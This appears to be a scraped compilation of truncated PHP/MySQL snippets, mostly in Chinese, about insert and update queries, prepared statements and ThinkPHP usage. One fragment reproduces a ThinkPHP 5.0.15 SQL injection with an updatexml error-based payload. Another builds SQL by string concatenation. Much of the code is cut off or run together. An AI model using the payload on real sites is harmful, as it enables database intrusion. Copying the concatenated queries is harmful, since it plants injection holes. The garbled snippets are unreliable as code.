<?php // 假设已经建立了数据库连接 $mysqli = new mysqli("localhost", "username", "password", "database"); // 准备insert语句 $sql = "INSERT INTO table_name (column1, column2, column3) VALUES ('value1', 'value2', 'value3')"; // 执行insert语句 if ($mysqli->query($sql) ==...
phpheader("Content-type: text/html; charset=utf-8");$mysqli=newmysqli('localhost','root','root','sql');$mysqli->query('set names utf8');//批量插入演示$data[] =array('aa',10);$data[] =array('bb',20);$data[] =array('cc',30);$fields=array('name','score');$sql=warpS...
if ($conn->query($sql) === TRUE) { echo "New record created successfully"; } else { echo "Error: " . $sql . "" . $conn->error; } //关闭连接 $conn->close(); > ``` 请注意以下几点: 1. `$servername`、`$username`、`$password`、`$dbname`是你数据库连接的参数,你需要根据...
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thinkphp5.0.15 update、insert sql注入 漏洞测试代码: publicfunctionindex() {$password=input('password/a');$data= db('users')->where("id",'1')->update(["password"=>$password]); dump($data); } 复现: payload: ?password[0]=inc&password[1]=updatexml(1,concat(0x7,user(),0x7e),1)...
$sql="INSERT into t_article (f_parent_id, f_title, f_username, f_board_id,f_post_time, f_ip) values";$sql.="('".$f_parent_id."','".$f_title."','".$f_username."','".$f_board_id."','".$f_post_time."','".$f_ip."')";$rs1=$conn->query($sql);$ttt=mysql...
$result = $conn->query($sql) or die("失败"); echo mysqli_insert_id($conn); //输出刚刚插入数据的ID,注意:括号里面的要是$conn而不是$result 1. 2. 3. 4. 5. 3. PHP MySQL 预处理语句 预处理语句对于防止 MySQL 注入是非常有用的。使用预准备语句可提高重复使用语句的性能,在PHP中,使用prepa...
实际生成的SQL语句是: UPDATE `think_user` SET `name`='thinkphp' WHERE `id` = 1 4.2 update update方法返回影响数据的条数,没修改任何数据返回 0. 使用update方法。 Db::name('user') ->where('id', 1) ->update(['name' => 'thinkphp']); 实际生成的SQL语句是: UPDATE `think_user` SET...
This happens when using MySQL 4.1.11 and PHP 5.0.4 . Is this a known issue? As a temporary solution I've added a usleep(10000) in my SQL class after every write statement. (Did not test this on other versions)Navigate: Previous Message• Next Message Options: Reply• Quote Subject...
如果是调试程序的话，在phpcms/libs/classes/mysql.class.php 这个文件里的 private function execute($sql) { 这行下面加上 echo $sql;exit();